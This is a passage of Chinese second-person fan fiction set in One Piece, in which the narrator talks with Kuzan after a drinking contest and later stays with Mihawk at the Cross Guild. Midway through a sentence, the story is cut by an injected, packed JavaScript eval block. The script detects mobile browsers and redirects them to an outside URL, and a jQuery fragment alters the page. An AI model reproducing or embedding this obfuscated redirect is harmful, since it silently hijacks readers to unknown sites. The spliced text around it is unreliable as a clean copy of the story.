你看着以藏和库赞两人喝空的酒瓶越来越多,周围人的喝彩声也随着空瓶的数量而越发大声,你很是担心。 “要不算了吧...?” 你试图向这种场合相对靠谱的马尔科求助,马尔科却挑眉,伸手揉乱你的发顶。 “难得以藏喝的这么尽兴,安心吧。” 话是这么说,但你真的看不出喝醉开始嘲讽对方短处的以藏和库赞尽兴在哪了。 喝到最后,以藏和库赞同时倒下,两人打成平手,起哄的观众自觉地清场,叫来人把以藏和库赞带走。 你是搬不动以藏的,所以搬以藏的是十六番队里的队员。库赞的话,则是马尔科帮忙搬运。 两人被搬回你们下榻的民宿,你给以藏擦了下身体,确认他还在睡后,决定去隔壁看一下库赞的情况。 结果一开门,你就看到揉太阳穴的库赞。显然,他已经醒来有段时间了。不如说,他可能一开始就没醉? 你在纠结库赞是否喝醉的问题时,注意到你存在的库赞看向你,和你打起招呼。 “哟,好久不见。” 从他神智清醒的状态来看,你可以肯定,库赞没有喝醉。至于他为什么和以藏一样倒下,你将其理解为库赞的心细。 “好久不见,库赞。” 你的话让坐在床上的库赞怔了几秒,在他过了遍和你们分别的时间线后,他接上了话题。 “啊,确实有段时间没见了。怎么样,身体有好点吗?” 你不确定库赞知道多少,但现在和他对话的你,身体状况确实很好。 “还是那样,没什么大碍。你呢?” 上次见面没怎么注意,要不这次库赞显热脱掉上衣,你都不知道他一边的手臂有一大片烧伤的痕迹。而留下这个痕迹的,只能是萨卡斯基了。 被问及的库赞一时没反应过来,直到他发现你的目光落在他肩上的伤时,枉然大悟的库赞才接上话题。 “这个啊,看着恐怖而已,其实没什么事了。” 毕竟和肩膀上的痕迹相比,他的腿才是大事。但你不知道的事,他就没有必要提醒你了。 抛开这个话题,你们两人竟相对无言。库赞其实很会聊天,但聊天的对象是你时,他好像找不到话题了。 “不去照顾那个谁来看我,这样好吗?” 看啊,勉强找到的话题算不上好,是说出来库赞就想收回的程度。可惜,你接话题的速度要比他收回的速度快多了。 “以藏睡了,暂时走开是没问题的。就算他醒过来,也不会介意我来看你的。” 你斟酌了下语言,还有现在的你和库赞的关系,总算找到一个合适的词形容你们的关系。 “我们应该能算朋友...?他不会阻止我和朋友见面的。” 闻言的库赞从中提取出关键词,低喃着你说过的词:“朋友啊...这个倒是没说错,算是朋友。” 如果他还是海军,你们就是敌人了。当然,这种话就没必要说出来了。 在房间的氛围陷入进一步的沉寂前,你夺过了话题的主导权。 “你会在这座岛上待多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056865|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久?” “两三天吧。你有什么事想拜托我吗?” 在库赞的注视下,你摇头否认了库赞的后半句话:“只是想着难得见一面,想和库赞聊多几句。” 到嘴边的话转了个弯,你把原先准备说的话换成普通的寒暄。 “这次分别,也不知道下次见面是什么时候了。” 再正常不过的对话却惹得库赞低笑出声。如果不是马尔科说了你的事,他大概会把你这句话理解为大海辽阔很难见上一面的意思。 不过知道与否也不影响他和你的相处,你都亲口说你们是朋友了,他也不可能上赶着以前任的态度对待你。 “关于这个啊...你想见我的话,可以邀请我上你们的船。” 抱着玩笑意味向你抛出了橄榄枝,闻言的你怔了半晌,随后笑出了声。 “库赞是知道我不会邀请你,你才这么说的。” “是这个理没错,那你要邀请我吗?” 被看穿的库赞也不怒,顺着话题继续调侃你。先前还觉得有些生分的你,几句话下来,已经没有那种生分的感觉了。 “如果我是船长,肯定会邀请你成为我的伙伴。或许我可以向老爹询求下意见?” 你的回答惹得库赞连连摆手:“还是算了吧,我可不想一天到晚都被人提防着。” 想到船上一些人对库赞的看法,你点头认同了库赞的说法。 “说的也是。” 你看了眼库赞房间的时钟,现在这个时间并不适合你和他继续聊下去。 “时间也不早了,我先回房间了。要是你需要帮助,可以去隔壁找我。” 你说着,拇指指向你和以藏所在的方位,库赞回以了然的单音。但你转身时,库赞叫住了你。 “现在的你幸福吗?” 换做两年前的你,答案是模糊不清的。如今的你,已经能从容地表达自己的感想了。 “嗯,我很幸福。” 转过身朝库赞笑语的你,引得他轻笑出声。 “幸福就好。” 只要你觉得幸福,他就不会再担心你了。放在背包里迟迟未处理的戒指,也能提上日程了。 47.米霍克番外:记忆[番外] 你不太能想象到米霍克会害怕什么,哪怕是打凯多时,他的表情也是那样平静。所以知道你是来见他最后一面时,米霍克淡然的表情令你感到安心。 本想着和米霍克道完谢就离开,他的邀请让你计划有所改变。 “要住下吗?” 这着实吓到你了。要知道现在的米霍克和克洛克达尔及巴基成立了公会,你作为不请自来的外来者,不被攻击就不错了,米霍克还邀请你住下? 不止你为此感到意外,和你们坐在同一个房间的克洛克达尔,脸上的表情也很有意思。但你确实对这个公会很感兴趣,老爹他们也觉得有趣。 “可以吗?” 你反问米霍克,期间不忘扫了眼坐在不远处观察你们的克洛克达尔。后者和你对上视线时,似笑非笑的点燃了雪茄,他没说拒绝,也没有肯定。 看出你在担心什么的米霍克遮往左移一步,挡住了你能看到室内第三人的方向。伴随着第三人意义不明的轻笑,米霍克说出了他的答案。 “你想就可以。” 说到这个份上了,你也没有拒绝的理由。 “那我就打扰了。” - 十字公会的实际掌权人是米霍克和克洛克达尔,而不是外界所说的巴基,这是作为外来者的你都能看出来的事。 但知道这些你也不会做什么,毕竟你在十字公会里的定位,是跨海来和米霍克幽会的“情人”。 为此,和你连熟人都算不上的克洛克达尔用阴阳怪气的语气嘲讽了你一番。 “没想到让鹰眼念念不忘的女人还是个小丫头。” 从克洛克达尔的话来分析,你合理怀疑他是借你的名义来嘲讽米霍克。米霍克说了句“这不属于你管辖的范畴”,就带着你离开临时住所。 米霍克本人不怎么喜欢热闹的地方,而十字公会却是很热闹的地方。基本除了你们住的地方,其他地方只要有人,不是在喝酒就是有说有笑的聊天。如果碰巧撞见你们了,还会因为米霍克在的原因,兴高采烈地和你们打招呼。 只是他们的热情得不到米霍克的回应,和他们不熟的你出于礼节地回以微笑。次数多了,十字公会的人也知道米霍克不喜欢被打扰,这种寒暄就少了。 回到米霍克的房间后,你不禁向米霍克表达你对这里的看法。 “这里还挺有趣的,和之前住的地方完全相反。” 给自己倒上半杯红酒的米霍克表情有些无奈,他放下酒杯,拿起另一个杯子,给你倒上红茶。你接过温热的红茶,和米霍克道了声谢后,坐在你对面的米霍克才继续刚才的话题。 “觉得有趣的话,要留下来吗?” 这句话惹得你笑出声来:“不要开这种玩笑啊,等下你就要被合伙人说不思上进了。” 被你调侃的米霍克轻笑一声,不知是笑你调侃他的话,还是笑你对克洛克达尔的称呼,这个话题便在你们有来有回的调侃中画下句号。 相较于之前有地种的城堡,现在的米霍克的日常少了耕地这个活动,但日常活动还是有序地进行。练剑、看报或看书,偶尔下个厨。 不得不说,米霍克的安定感是其他人身上都没有的。观察了几天,你想到了在和之国时的米霍克。那个时候没有报纸也没有书,他是怎么打发时间的? 你在晚餐时问了米霍克这个问题,米霍克的回答让你笑个不停:“和之国的刀还不错。” 明白了,米霍克是找当地的武士当打发时间的存在了。怪不得锦卫门提起米霍克时,表情隐忍又敬佩,估计当时的锦卫门也是米霍克打发时间的存在之一。 不想还好,一旦脑子里有这种认知,你就克制不住嘴边的笑意。 “不愧是世界最强的剑士。” 面对你调侃自己的行为,米霍克的回答是眼中是肉眼可见的无奈。于他人而言,这个称号是具有威慑力的存在。可在你看来,它远不及米霍克本人给你的兴趣更大。 以往听了都是一笑而过的米霍克,这次却没有让话题在他那里结束。 “你是这么觉得的吗?” “什么?” 只见米霍克放下酒杯,注视着你的眸中的情感炙热而强 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“得了吧,海贼还谈这些。白胡子的人又怎么样,你是会怕这些的家伙吗?” 更别说整片海域的海贼都知道白胡子的身体状态一天比一天差,带着侥幸心理去挑战白胡子的白痴一波又一波。 当然,克洛克达尔口中的“白痴”不包括自己。 听出克洛克达尔话语里暗语的米霍克保有不同的见解。 “与你无关。” 得到回复的克洛克达尔发出一声冷笑,转身离开,不再和米霍克谈论这个话题。 同一时间,载着你的船只驶出了可见的视野范围。米霍克知道,这次分别,你和他不会再见了。 强行留你下来不是他会做的事,他可以这么做,但没必要。你和他的缘分,从开始就是他单方面抢来的。 现在不需要了,不管之后的你身在何处、在哪里陨落,他都不会去打听。 你和他的缘分及记忆,都将成为米霍克人生中的一部分。